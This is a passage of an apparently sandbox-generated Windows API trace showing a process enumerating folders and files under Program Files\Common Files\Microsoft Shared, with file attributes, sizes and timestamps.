ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 0 [0050.679] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.679] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0050.679] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1 [0050.679] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*", lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.681] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.681] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARFR", cAlternateFileName="")) returned 1 [0050.681] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.681] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.681] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 1 [0050.681] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.682] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.682] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENES", cAlternateFileName="")) returned 1 [0050.682] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.682] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.682] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 1 [0050.682] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.683] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.683] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENFR", cAlternateFileName="")) returned 1 [0050.683] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.683] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.683] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 1 [0050.683] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.683] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.683] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESEN", cAlternateFileName="")) returned 1 [0050.683] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.683] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.683] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9890c900, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x54a7f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9890c900, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.DLL", cAlternateFileName="")) returned 1 [0050.683] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.683] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.684] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRAR", cAlternateFileName="")) returned 1 [0050.684] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.783] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.783] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 1 [0050.783] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.783] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.788] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FREN", cAlternateFileName="")) returned 1 [0050.788] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.789] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.789] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb22e200, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb22e200, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.DLL", cAlternateFileName="")) returned 1 [0050.789] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.789] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.789] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd541900, ftCreationTime.dwHighDateTime=0x1c911ec, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd541900, ftLastWriteTime.dwHighDateTime=0x1c911ec, nFileSizeHigh=0x0, nFileSizeLow=0x205b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1AR.LEX", cAlternateFileName="")) returned 1 [0050.789] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.789] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0050.789] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1 [0050.789] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*", lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.789] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.790] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0050.792] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.836] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.836] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0050.836] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.836] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.836] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0050.836] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.836] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0050.836] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0050.836] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*", lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.867] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.867] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 1 [0050.867] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.867] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.867] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, 